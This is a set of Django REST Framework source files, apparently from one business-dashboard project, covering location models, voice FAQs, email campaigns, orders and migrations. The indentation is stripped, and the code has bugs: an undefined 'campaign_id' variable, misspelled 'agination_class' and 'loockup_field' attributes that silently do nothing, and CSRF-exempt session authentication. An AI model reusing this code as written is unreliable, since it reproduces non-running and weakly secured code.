password = data.get("password","")
if username and password:
user = authenticate(username=username,password=password)
if user:
if user.is_active:
data["user"] = user
else:
mes = "User is not activate."
raise exceptions.ValidationError(mes)
else:
mes = "Username and pasword is incorrect & may be your account is not activate."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide username and password"
raise exceptions.ValidationError(mes)
return data
class DfUserSerializers(serializers.ModelSerializer):
class Meta:
model = DfUser
fields = ('id', 'first_name','last_name','Company_name','Country','Phone','Zip','Last_login','user')
depth = 2
# ===========================================<file_sep>from django.db import models
from accounts.models import DfUser
import django
from datetime import date
from manage_dropdown_value.models import DfBusinessCategory,DfCountry,DfState
from social_media_platforms.models import DfSocialMedia
# Create your models here.
def user_directory_path(instance, filename):
project_id_in_list = instance.Store_Code.split(" ")
today_date = date.today()
project_id_in_string = '_'.join([str(elem) for elem in project_id_in_list])
return '{0}/{1}'.format(project_id_in_string+"/locations/logo/"+str(today_date.year)+"/"+str(today_date.month)+"/"+str(today_date.day),filename)
def user_directory_path_for_banner(instance, filename):
project_id_in_list = instance.Store_Code.split(" ")
today_date = date.today()
project_id_in_string = '_'.join([str(elem) for elem in project_id_in_list])
return '{0}/{1}'.format(project_id_in_string+"/locations/banner/"+str(today_date.year)+"/"+str(today_date.month)+"/"+str(today_date.day),filename)
class DfBusinessLocation(models.Model):
DfUser = models.ForeignKey(DfUser, on_delete=models.SET_NULL, null=True, blank=True)
Store_Code = models.CharField(max_length=50)
Business_Logo = models.ImageField(upload_to=user_directory_path,null=True,blank=True)
Location_name = models.CharField(max_length=120,null=True,blank=True)
Business_category = models.ForeignKey(DfBusinessCategory, on_delete=models.SET_NULL, null=True, blank=True)
Additional_catugory = models.TextField(null=True,blank=True)
Address_1 = models.TextField(max_length=120,null=True,blank=True)
Address_2 = models.TextField(max_length=120,null=True,blank=True)
Country = models.ForeignKey(DfCountry, on_delete=models.SET_NULL, null=True, blank=True)
State = models.ForeignKey(DfState, on_delete=models.SET_NULL, null=True, blank=True)
City = models.CharField(max_length=120, null=True, blank=True)
Zipcode = models.IntegerField(null=True, blank=True)
Phone_no = models.IntegerField(null=True , blank=True)
Website = models.URLField(null=True,blank=True)
Franchise_Location = models.BooleanField(default=True)
Do_not_publish_my_address = models.BooleanField(default=True)
Business_Owner_Name = models.CharField(max_length=120,null=True,blank=True)
Owner_Email = models.EmailField(null=True,blank=True)
Business_Tagline = models.CharField(max_length=120,null=True,blank=True)
Year_Of_Incorporation = models.IntegerField()
About_Business = models.TextField(null=True,blank=True)
Facebook_Profile = models.CharField(max_length=120,null=True,blank=True)
Instagram_Profile = models.CharField(max_length=120,null=True,blank=True)
Twitter_Profile = models.CharField(max_length=120,null=True,blank=True)
Business_Cover_Image = models.ImageField(upload_to=user_directory_path_for_banner)
Craete_Date = models.DateTimeField(default=django.utils.timezone.now)
Update_Date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.Store_Code
class Meta:
verbose_name_plural = "DF Business Location"
def user_directory_path_for_other_image(instance, filename):
project_id_in_list = instance.Business_Location.Store_Code.split(" ")
project_id_in_string = '_'.join([str(elem) for elem in project_id_in_list])
today_date = date.today()
return '{0}/{1}'.format(project_id_in_string+"/locations/other/"+str(today_date.year)+"/"+str(today_date.month)+"/"+str(today_date.day),filename)
class DfLocationImage(models.Model):
Business_Location = models.ForeignKey(DfBusinessLocation, related_name="Df_location_image", on_delete=models.SET_NULL, null=True, blank=True)
Image = models.ImageField(upload_to=user_directory_path_for_other_image)
Craete_Date = models.DateTimeField(default=django.utils.timezone.now)
Update_Date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return str(self.Image)
class Meta:
verbose_name_plural = "DF Location Other Image"
class DfLocationOpenHours(models.Model):
Business_Location = models.ForeignKey(DfBusinessLocation, related_name="Df_location_poen_hour",on_delete=models.SET_NULL, null=True, blank=True)
date = models.CharField(max_length=20,null=True,blank=True)
Day = models.CharField(max_length=20,null=True,blank=True)
Type = models.CharField(max_length=20,null=True,blank=True)
Open_status = models.CharField(max_length=20,null=True,blank=True)
start_time_1 = models.CharField(max_length=20,null=True,blank=True)
end_time_1 = models.CharField(max_length=20,null=True,blank=True)
start_time_2 = models.CharField(max_length=20,null=True,blank=True)
end_time_2 = models.CharField(max_length=20,null=True,blank=True)
Update_Date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return str(self.Day)
class Meta:
verbose_name_plural = "DF Location Open Hours"
class DfLocationPaymentMethod(models.Model):
Business_Location = models.ForeignKey(DfBusinessLocation, related_name="Df_location_payments",on_delete=models.SET_NULL, null=True, blank=True)
Payment_Method = models.CharField(max_length=20, null=True,blank=True)
def __str__(self):
return str(self.Payment_Method)
class Meta:
verbose_name_plural = "DF Location Payment Method"
class DfLocationConnectPlatform(models.Model):
DfUser = models.ForeignKey(DfUser, on_delete=models.SET_NULL, null=True, blank=True)
Business_Location = models.ForeignKey(DfBusinessLocation, related_name="Df_location_connectWith",on_delete=models.SET_NULL, null=True, blank=True)
Social_Platform = models.ForeignKey(DfSocialMedia, related_name="Df_location_connectWith",on_delete=models.SET_NULL, null=True, blank=True)
Connection_Status = models.CharField(max_length=20,null=True,blank=True)
Craete_Date = models.DateTimeField(default=django.utils.timezone.now)
Update_Date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return str(self.DfUser)
class Meta:
verbose_name_plural = "DF Business_Location Connect With Social Media"<file_sep>from .models import DfPrice
from .serializers import DfPriceSerializer
from rest_framework import generics,viewsets
from .api_pagination import ProductLimitOffsetPagination , PrtoductPageNumberPagination
# Create your views here.
class GetPriceList(generics.ListCreateAPIView):
queryset = DfPrice.objects.all().order_by("Orders_set")
serializer_class = DfPriceSerializer
agination_class = PrtoductPageNumberPagination
# class AddJobsApplication(generics.ListCreateAPIView):
# queryset = DfJobApplaicationSet.objects.all().order_by("-id")
# serializer_class = DfJobsApplicationSerializer
# agination_class = PrtoductPageNumberPagination
#
#
#
#
class GetOnePackage(generics.RetrieveAPIView):
queryset = DfPrice.objects.all()
serializer_class = DfPriceSerializer
<file_sep>from django.urls import path
from . import views
urlpatterns = [
path('save-review', views.SaveReviewsView.as_view()),
path('get-all-review', views.GetAllReviewView.as_view()),
]<file_sep># Generated by Django 3.0.6 on 2020-08-06 11:41
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('accounts', '0005_auto_20200410_1503'),
]
operations = [
migrations.RenameField(
model_name='dfuser',
old_name='Business_name',
new_name='Company_name',
),
migrations.RenameField(
model_name='dfuser',
old_name='City',
new_name='Country',
),
migrations.RenameField(
model_name='dfuser',
old_name='State',
new_name='Pnone',
),
migrations.RemoveField(
model_name='dfuser',
name='Address',
),
]
<file_sep># Generated by Django 3.0.4 on 2020-04-11 10:50
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0006_auto_20200411_1556'),
]
operations = [
migrations.CreateModel(
name='DfLocationPaymentMethod',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Payment_Method', models.CharField(blank=True, max_length=20, null=True)),
('Business_Location', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='Df_location_payments', to='manage_locations.DfBusinessLocation')),
],
options={
'verbose_name_plural': 'DF Location Payment Method',
},
),
]
<file_sep>from .models import DfBlogs
from .serializers import DfBlogsSerializer
from rest_framework import generics
from .api_pagination import ProductLimitOffsetPagination , PrtoductPageNumberPagination
# Create your views here.
class GetBloges(generics.ListCreateAPIView):
queryset = DfBlogs.objects.all().order_by("-id")
serializer_class = DfBlogsSerializer
agination_class = PrtoductPageNumberPagination
class GetOneBloge(generics.RetrieveAPIView):
queryset = DfBlogs.objects.all()
serializer_class = DfBlogsSerializer
<file_sep>from django.shortcuts import render
from django.shortcuts import render,get_object_or_404
from rest_framework.views import APIView
from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework import exceptions
from accounts.models import DfUser
from rest_framework.authentication import TokenAuthentication,SessionAuthentication,BasicAuthentication
from rest_framework.permissions import IsAuthenticated
from .serializear import AddVoiceFaqs,GetAllFaqSerializersValidate,GetAllFaqSerializers,GetAllFaqSerializersLocationValidate,GetAllFaqSerializersByIdValidate,EditFaqSerializers
from .models import DfVoiceFaqs
from manage_locations.models import DfBusinessLocation
from dashifyproject.tokens import CsrfExemptSessionAuthentication
# Create your views here.
class AddVoiceFaqView(APIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
message = "This is test data"
request.data["DfUser"] = self.request.user.id
serializer = AddVoiceFaqs(data=request.data)
data_response = {}
if serializer.is_valid():
if DfUser.objects.filter(user_id=request.data['DfUser']).exists():
get_user_ins = get_object_or_404(DfUser,user_id=request.data['DfUser'])
if DfBusinessLocation.objects.filter(id=request.data['Location']).filter(DfUser=get_user_ins).exists():
get_location_ins = get_object_or_404(DfBusinessLocation,id=request.data['Location'],DfUser=get_user_ins)
if DfVoiceFaqs.objects.filter(DfUser=get_user_ins).filter(Location=get_location_ins).filter(question=request.data['question']).exists():
msg = "This question is alerady exists."
raise exceptions.ValidationError(msg)
else:
add_data = DfVoiceFaqs(DfUser=get_user_ins,Location=get_location_ins,question=request.data['question'],answer=request.data['answer'])
add_data.save()
data_response["message"] = "Voice FAQ Add successfully"
data_response["question_id"] = add_data.id
data_response["question"] = add_data.question
else:
msg = "Location is invalue."
raise exceptions.ValidationError(msg)
else:
msg = "User_id is invalue."
raise exceptions.ValidationError(msg)
else:
message = "not validate"
data_response = serializer.errors
return Response(data_response)
class GetAllFaqByUserIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
# GetAllLocationSerializers
def get(self,request):
all_faq = {}
request.data["user_id"] = request.user.id
serializer = GetAllFaqSerializersValidate(data=request.data)
serializer.is_valid(raise_exception=True)
if DfVoiceFaqs.objects.filter(DfUser=serializer.validated_data).exists():
all_faqs = DfVoiceFaqs.objects.filter(DfUser=serializer.validated_data).order_by("-id")
# all_faqsSerializer = GetAllFaqSerializers(all_faqs, many=True, context={"request":request})
all_faqsSerializer = GetAllFaqSerializers(all_faqs, many=True)
all_faq = all_faqsSerializer.data
return Response({"all_faqs":all_faq},status=200)
class GetAllFaqByLocationIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
# GetAllLocationSerializers
def post(self,request):
all_faq = {}
request.data["user_id"] = request.user.id
serializer = GetAllFaqSerializersLocationValidate(data=request.data)
serializer.is_valid(raise_exception=True)
if DfVoiceFaqs.objects.filter(DfUser=serializer.validated_data['get_user_instance']).filter(Location=serializer.validated_data['get_location_instance']).exists():
all_faqs = DfVoiceFaqs.objects.filter(DfUser=serializer.validated_data['get_user_instance'],Location=serializer.validated_data['get_location_instance']).order_by("-id")
# all_faqsSerializer = GetAllFaqSerializers(all_faqs, many=True, context={"request":request})
all_faqsSerializer = GetAllFaqSerializers(all_faqs, many=True)
all_faq = all_faqsSerializer.data
return Response({"all_faqs":all_faq},status=200)
class GetAllFaqByIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
# GetAllLocationSerializers
def post(self,request):
all_faq = {}
request.data["user_id"] = request.user.id
serializer = GetAllFaqSerializersByIdValidate(data=request.data)
serializer.is_valid(raise_exception=True)
if DfVoiceFaqs.objects.filter(DfUser=serializer.validated_data['get_user_instance']).filter(id=request.data['faq_id']).exists():
all_faqs = get_object_or_404(DfVoiceFaqs,DfUser=serializer.validated_data['get_user_instance'],id=request.data['faq_id'])
# all_faqsSerializer = GetAllFaqSerializers(all_faqs,context={"request":request})
all_faqsSerializer = GetAllFaqSerializers(all_faqs)
all_faq = all_faqsSerializer.data
else:
mes = "faq_id is incorrecyt."
raise exceptions.ValidationError(mes)
return Response({"all_faqs":all_faq},status=200)
# ================================EDIT FAQ ===============
class EditFaqByIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
def post(self, request):
message = ""
if request.method == "POST":
request.data["user_id"] = request.user.id
serializer = EditFaqSerializers(data=request.data)
serializer.is_valid(raise_exception=True)
message = serializer.validated_data
return Response({"message": message}, status=200)
# ================================EDIT FAQ ===============
class DeleteFaqByIdView(APIView):
authentication_classes = (TokenAuthentication,CsrfExemptSessionAuthentication,BasicAuthentication,)
permission_classes = [IsAuthenticated]
# GetAllLocationSerializers
def post(self,request):
all_faq = {}
request.data["user_id"] = request.user.id
serializer = GetAllFaqSerializersByIdValidate(data=request.data)
message = ""
serializer.is_valid(raise_exception=True)
if DfVoiceFaqs.objects.filter(DfUser=serializer.validated_data['get_user_instance']).filter(id=request.data['faq_id']).exists():
DfVoiceFaqs.objects.filter(DfUser=serializer.validated_data['get_user_instance']).filter(id=request.data['faq_id']).delete()
message = "Faq Delete successfully."
else:
mes = "faq_id is incorrecyt."
raise exceptions.ValidationError(mes)
return Response({"message": message}, status=200)<file_sep># Generated by Django 3.0.4 on 2020-04-10 09:33
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import manage_locations.models
class Migration(migrations.Migration):
initial = True
dependencies = [
('accounts', '0005_auto_20200410_1503'),
]
operations = [
migrations.CreateModel(
name='DfLocationImage',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Image', models.ImageField(upload_to=manage_locations.models.user_directory_path_for_other_image)),
('Craete_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Update_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Business_Location', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.DfUser')),
],
options={
'verbose_name_plural': 'DF Location Other Image',
},
),
migrations.CreateModel(
name='DfBusinessLocation',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Store_Code', models.CharField(max_length=50)),
('Business_Logo', models.ImageField(blank=True, null=True, upload_to=manage_locations.models.user_directory_path)),
('Location_name', models.CharField(blank=True, max_length=120, null=True)),
('Business_catugory', models.CharField(blank=True, max_length=120, null=True)),
('Additional_catugory', models.TextField(blank=True, null=True)),
('Address_1', models.TextField(blank=True, max_length=120, null=True)),
('Address_2', models.TextField(blank=True, max_length=120, null=True)),
('Country', models.CharField(blank=True, max_length=120, null=True)),
('State', models.CharField(blank=True, max_length=120, null=True)),
('City', models.CharField(blank=True, max_length=120, null=True)),
('Zipcode', models.IntegerField(blank=True, null=True)),
('Phone_no', models.IntegerField(blank=True, null=True)),
('Website', models.URLField(blank=True, null=True)),
('Business_Owner_Name', models.CharField(blank=True, max_length=120, null=True)),
('Owner_Email', models.EmailField(blank=True, max_length=254, null=True)),
('Business_Tagline', models.CharField(blank=True, max_length=120, null=True)),
('Year_Of_Incorporation', models.IntegerField()),
('About_Business', models.IntegerField()),
('Facebook_Profile', models.CharField(blank=True, max_length=120, null=True)),
('Instagram_Profile', models.CharField(blank=True, max_length=120, null=True)),
('Twitter_Profile', models.CharField(blank=True, max_length=120, null=True)),
('Operating_Hours_Monday', models.CharField(blank=True, max_length=120, null=True)),
('Operating_Hours_Tuseday', models.CharField(blank=True, max_length=120, null=True)),
('Operating_Hours_Wednesday', models.CharField(blank=True, max_length=120, null=True)),
('Operating_Hours_Thursday', models.CharField(blank=True, max_length=120, null=True)),
('Operating_Hours_Friday', models.CharField(blank=True, max_length=120, null=True)),
('Operating_Hours_Saturday', models.CharField(blank=True, max_length=120, null=True)),
('Operating_Hours_Sunday', models.CharField(blank=True, max_length=120, null=True)),
('Business_Cover_Image', models.ImageField(upload_to=manage_locations.models.user_directory_path_for_banner)),
('Craete_Date', models.DateTimeField(default=django.utils.timezone.now)),
('Update_Date', models.DateTimeField(default=django.utils.timezone.now)),
('DfUser', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to='accounts.DfUser')),
],
options={
'verbose_name_plural': 'DF Business Location',
},
),
]
<file_sep>from django.db import models
import django
from autoslug import AutoSlugField
from datetime import date
# Create your models here.
class DfFaqCategory(models.Model):
Category = models.CharField(max_length=120)
def __str__(self):
return self.Category
class Meta:
verbose_name_plural = "Df Faq Category"
class DfFaqs(models.Model):
Category = models.ForeignKey(DfFaqCategory, on_delete=models.SET_NULL, null=True, blank=True,related_name='DfFaqs_Category')
Question = models.CharField(max_length=120)
Question_slug = AutoSlugField(populate_from='Question', always_update=True,unique_with='Create_date__month',null=True, blank=True)
Ansews = models.TextField()
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.Question
class Meta:
verbose_name_plural = "DF Question"
<file_sep>from rest_framework import serializers
from django.shortcuts import get_object_or_404
from .models import DfCampaign,DfUseremail,DfUploadImage
from rest_framework import exceptions
from rest_framework.response import Response
from manage_locations.models import DfBusinessLocation
from accounts.models import DfUser
import base64
from django.core.files.base import ContentFile
from datetime import date
class GetAllEmailSerializersData(serializers.ModelSerializer):
class Meta:
model = DfUseremail
fields = ['id','DfUser', 'Campign', 'Email', 'Contact', 'Name', 'mail_sent_status','Sent_date']
class GetAllEmailSerializersCheckCampaignid(serializers.Serializer):
user_id = serializers.CharField()
camp_id = serializers.CharField()
def validate(self, data):
user_id = data.get("user_id", "")
campaign_id = data.get("camp_id", "")
get_campaign_ins = {}
if user_id:
if DfUser.objects.filter(user__id=user_id).exists():
get_user_instance = get_object_or_404(DfUser, user__id=user_id)
if campaign_id:
if DfCampaign.objects.filter(id=campaign_id, DfUser=get_user_instance).exists():
get_campaign_ins = get_object_or_404(DfCampaign, id=campaign_id, DfUser=get_user_instance)
else:
mes = "campaign_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide campaign_id."
raise exceptions.ValidationError(mes)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
return get_campaign_ins
class UploadImageViewSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
UploadFile = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=True,allow_blank=True)
class Meta:
model = DfUploadImage
fields = ['user_id','UploadFile']
class AddCampaignSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Title = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
Sent_from = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
replay_to = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
message = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
sms_message = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=True,allow_blank=True)
location_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=True,allow_blank=True)
Image = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=True,allow_blank=True)
Extera_data = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=True,allow_blank=True)
Head = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=True,allow_blank=True)
Subject = serializers.CharField(style={"inpupt_type": "text"}, write_only=True,required=True,allow_blank=True)
class Meta:
model = DfCampaign
fields = ['user_id','Title','Head','Subject', 'Sent_from', 'replay_to', 'message','Image','sms_message','Extera_data']
class GetAllCampaignSerializers(serializers.Serializer):
user_id = serializers.CharField()
def validate(self, data):
user_id = data.get("user_id", "")
get_user_instance = {}
if user_id:
if DfUser.objects.filter(user__id=user_id).exists():
get_user_instance = get_object_or_404(DfUser, user__id=user_id)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
return get_user_instance
class GetAllCampaignSerializersData(serializers.ModelSerializer):
class Meta:
model = DfCampaign
fields = ['id','DfUser', 'BusinessLocation', 'Title', 'Sent_from', 'replay_to', 'message','Image','sms_message','Extera_data','Create_date']
class AddCampaignEmailSerializers(serializers.Serializer):
user_id = serializers.CharField()
camp_id = serializers.CharField()
emails = serializers.CharField()
names = serializers.CharField()
def validate(self, data):
user_id = data.get("user_id", "")
camp_id = data.get("camp_id", "")
emails = data.get("emails", "")
names = data.get("names", "")
message = ""
if user_id:
if DfUser.objects.filter(user__id=user_id).exists():
get_user_instance = get_object_or_404(DfUser, user__id=user_id)
if campaign_id:
if DfCampaign.objects.filter(id=campaign_id,DfUser=get_user_instance).exists():
get_campaign_ins = get_object_or_404(DfCampaign,id=campaign_id,DfUser=get_user_instance)
for i in range(0, len(emails)):
ass_emails = DfUseremail(DfUser=get_user_instance,Campign=get_campaign_ins,Email=emails[i],Name=names[i])
ass_emails.save()
message = "Email add in database successfully."
else:
mes = "campaign_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide campaign_id."
raise exceptions.ValidationError(mes)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
return get_campaign_ins
class GetAllCampaignSerializersCheckCampaignid(serializers.Serializer):
user_id = serializers.CharField()
camp_id = serializers.CharField()
def validate(self, data):
user_id = data.get("user_id", "")
campaign_id = data.get("camp_id", "")
get_campaign_ins = {}
if user_id:
if DfUser.objects.filter(user__id=user_id).exists():
get_user_instance = get_object_or_404(DfUser, user__id=user_id)
if campaign_id:
if DfCampaign.objects.filter(id=campaign_id,DfUser=get_user_instance).exists():
get_campaign_ins = get_object_or_404(DfCampaign,id=campaign_id,DfUser=get_user_instance)
else:
mes = "campaign_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide campaign_id."
raise exceptions.ValidationError(mes)
else:
mes = "user_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Must provide user_id."
raise exceptions.ValidationError(mes)
return get_campaign_ins
class RemovecampaignByIdSerializers(serializers.Serializer):
user_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
campaign_id = serializers.CharField(style={"inpupt_type": "text"}, write_only=True)
def validate(self, data):
user_id = data.get("user_id", "")
campaign_id = data.get("campaign_id", "")
message = ""
if DfUser.objects.filter(user_id=user_id).exists():
get_Dfuser_ins = get_object_or_404(DfUser, user_id=user_id)
if DfCampaign.objects.filter(id=campaign_id).exists():
get_campaign_ins = get_object_or_404(DfCampaign,id=campaign_id)
if get_campaign_ins.DfUser.id == get_Dfuser_ins.id:
DfCampaign.objects.filter(id=campaign_id).delete()
message = "Campaign remove successfully."
else:
mes = "This campaign_id is not related to current login user."
raise exceptions.ValidationError(mes)
else:
mes = "campaign_id is incorrect."
raise exceptions.ValidationError(mes)
else:
mes = "Your user_id is incorrect."
raise exceptions.ValidationError(mes)
return message
<file_sep># Generated by Django 3.0.4 on 2020-04-10 12:30
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0004_auto_20200410_1720'),
]
operations = [
migrations.RenameField(
model_name='dfbusinesslocation',
old_name='Business_catugory',
new_name='Business_category',
),
]
<file_sep># Generated by Django 3.0.4 on 2020-04-13 07:13
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('social_media_platforms', '0001_initial'),
]
operations = [
migrations.RenameField(
model_name='dfsocialmedia',
old_name='connect_status',
new_name='Connect_status',
),
migrations.RenameField(
model_name='dfsocialmedia',
old_name='email',
new_name='Email',
),
migrations.RenameField(
model_name='dfsocialmedia',
old_name='username',
new_name='Username',
),
]
<file_sep>from django.db import models
import django
# Create your models here.
# class DfQuery(models.Model):
# Name = models.CharField(max_length=20)
# Your_Email = models.CharField(max_length=20)
# Message = models.TextField()
# Other_Data = models.TextField(default="",null=True,blank=True)
# Create_date = models.DateTimeField(default=django.utils.timezone.now)
#
#
# def __str__(self):
# return self.Name
#
# class Meta:
# verbose_name_plural = "DF Query"
class DfQueryInfo(models.Model):
Name = models.CharField(max_length=120)
Your_Email = models.CharField(max_length=120)
Message = models.TextField()
Other_Data = models.TextField(default="", null=True, blank=True)
Create_date = models.DateTimeField(default=django.utils.timezone.now)
def __str__(self):
return self.Name
class Meta:
verbose_name_plural = "DF Query"<file_sep># Generated by Django 3.0.4 on 2020-04-11 10:26
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('manage_locations', '0005_auto_20200410_1800'),
]
operations = [
migrations.AlterField(
model_name='dflocationimage',
name='Business_Location',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='Df_location_image', to='manage_locations.DfBusinessLocation'),
),
]
<file_sep>from django.contrib import admin
from import_export.admin import ImportExportModelAdmin
from .models import DfCampaign,DfUseremail
# Register your models here.
class DfCampaignAdmin(ImportExportModelAdmin):
list_display = ('DfUser','BusinessLocation','Title','Head','Subject','Sent_from','replay_to','message','sms_message','Create_date')
list_filter = ('DfUser','Create_date',)
admin.site.register(DfCampaign,DfCampaignAdmin)
class DfUseremailAdmin(ImportExportModelAdmin):
list_display = ('DfUser','Campign','Email','Name','mail_sent_status','Sent_date')
list_filter = ('DfUser','Campign','Sent_date',)
admin.site.register(DfUseremail,DfUseremailAdmin)<file_sep>from .models import DfOrders,DfOrdersAndPayment
from .serializers import DfOrderSerializer,DfOrdersAndPaymentSerializer
from rest_framework import generics,viewsets
# from .api_pagination import ProductLimitOffsetPagination , PrtoductPageNumberPagination
from rest_framework.authentication import TokenAuthentication,SessionAuthentication,BasicAuthentication
from rest_framework.permissions import IsAuthenticated
from dashifyproject.tokens import CsrfExemptSessionAuthentication
from accounts.models import DfUser
from django.db.models import Q
from django.shortcuts import get_object_or_404
# Create your views here.
class GetOrderList(generics.ListCreateAPIView):
serializer_class = DfOrdersAndPaymentSerializer
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
def get_queryset(self, *args, **kwargs):
"""
This view should return a list of all the purchases for
the user as determined by the username portion of the URL.
"""
ds_user_ins = None
if DfUser.objects.filter(user=self.request.user).exists():
ds_user_ins = get_object_or_404(DfUser, user=self.request.user)
result_ = None
if DfOrdersAndPayment.objects.filter(DfUser=ds_user_ins).exists():
if 'active' in self.request.GET:
result_ = DfOrdersAndPayment.objects.filter(DfUser=ds_user_ins).filter(Active=self.request.GET['active']).order_by("-id")
else:
result_ = DfOrdersAndPayment.objects.filter(DfUser=ds_user_ins).order_by("-id")
return result_
class UpdateOrder(generics.RetrieveUpdateDestroyAPIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
queryset = DfOrdersAndPayment.objects.all().order_by("-id")
loockup_field = 'id'
serializer_class = DfOrdersAndPaymentSerializer
def update(self, request, *args, **kwargs):
response = super(UpdateOrder, self).update(request,*args, **kwargs)
ds_user_ins = None
if DfUser.objects.filter(user=request.user).exists():
ds_user_ins = get_object_or_404(DfUser,user=request.user)
DfOrdersAndPayment.objects.filter(~Q(id=kwargs['pk'])).filter(DfUser=ds_user_ins).update(Active=False)
if response.status_code ==200:
mydata = response.data
from django.core.cache import cache
cache.set("ID:{}".format(mydata.get('id',None)),{'Payment':mydata['Payment'],'Payment_Type':mydata['Payment_Type'],
'Transaction_id':mydata['Transaction_id'],'Payment_Date':mydata['Payment_Date'],'Active':mydata['Active'],
'Start_Date':mydata['Start_Date'],'End_Date':mydata['End_Date']})
return response
class CreateNewOrder(generics.ListCreateAPIView):
authentication_classes = (TokenAuthentication, CsrfExemptSessionAuthentication, BasicAuthentication,)
permission_classes = [IsAuthenticated]
queryset = DfOrdersAndPayment.objects.all().order_by("-id")
serializer_class = DfOrdersAndPaymentSerializer
<file_sep>from django.apps import AppConfig
class ManageBlogesConfig(AppConfig):
name = 'manage_bloges'
<file_sep>from rest_framework import serializers
from .models import DfQueryInfo
class QuerysetSerializer(serializers.ModelSerializer):
class Meta:
model = DfQueryInfo
fields = ['id', 'Name', 'Your_Email', 'Message', 'Other_Data','Create_date']<file_sep>from django.urls import path
from . import views
from django.views.decorators.csrf import csrf_exempt
urlpatterns = [
path('', views.GetBloges.as_view()),
path('one-blog/<int:pk>', views.GetOneBloge.as_view()),
]<file_sep>from django.urls import path
from . import views
from django.views.decorators.csrf import csrf_exempt
urlpatterns = [
path('create-new-order', views.CreateNewOrder.as_view()),
path('update-order/<int:pk>', views.UpdateOrder.as_view()),
path('order-list', views.GetOrderList.as_view()),
# path('job-application', views.AddJobsApplication.as_view()),
]<file_sep># Generated by Django 3.0.6 on 2020-09-10 10:34
import autoslug.fields
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='DfFaqs',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('Question', models.CharField(max_length=120)),
('Question_slug', autoslug.fields.AutoSlugField(always_update=True, blank=True, editable=False, null=True, populate_from='Question', unique_with=('Create_date__month',))),
('Ansews', models.TextField()),
('Create_date', models.DateTimeField(default=django.utils.timezone.now)),
],
options={
'verbose_name_plural': 'DF Faqs',
},
),
]
<file_sep>from django.contrib import admin
from .models import DfLocationReviews
from import_export.admin import ImportExportModelAdmin
# Register your models here.
class DfLocationReviewsAdmin(ImportExportModelAdmin):
search_fields = ['Store_Code']
list_display = ('Df_User','Business_Location','Social_Plateform','User_Name','Reating','Review','Review_dateTime','Craete_Date')
list_filter = ('Business_Location','Social_Plateform','Craete_Date',)
admin.site.register(DfLocationReviews,DfLocationReviewsAdmin)
<file_sep># Generated by Django 3.0.6 on 2020-09-19 12:29
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
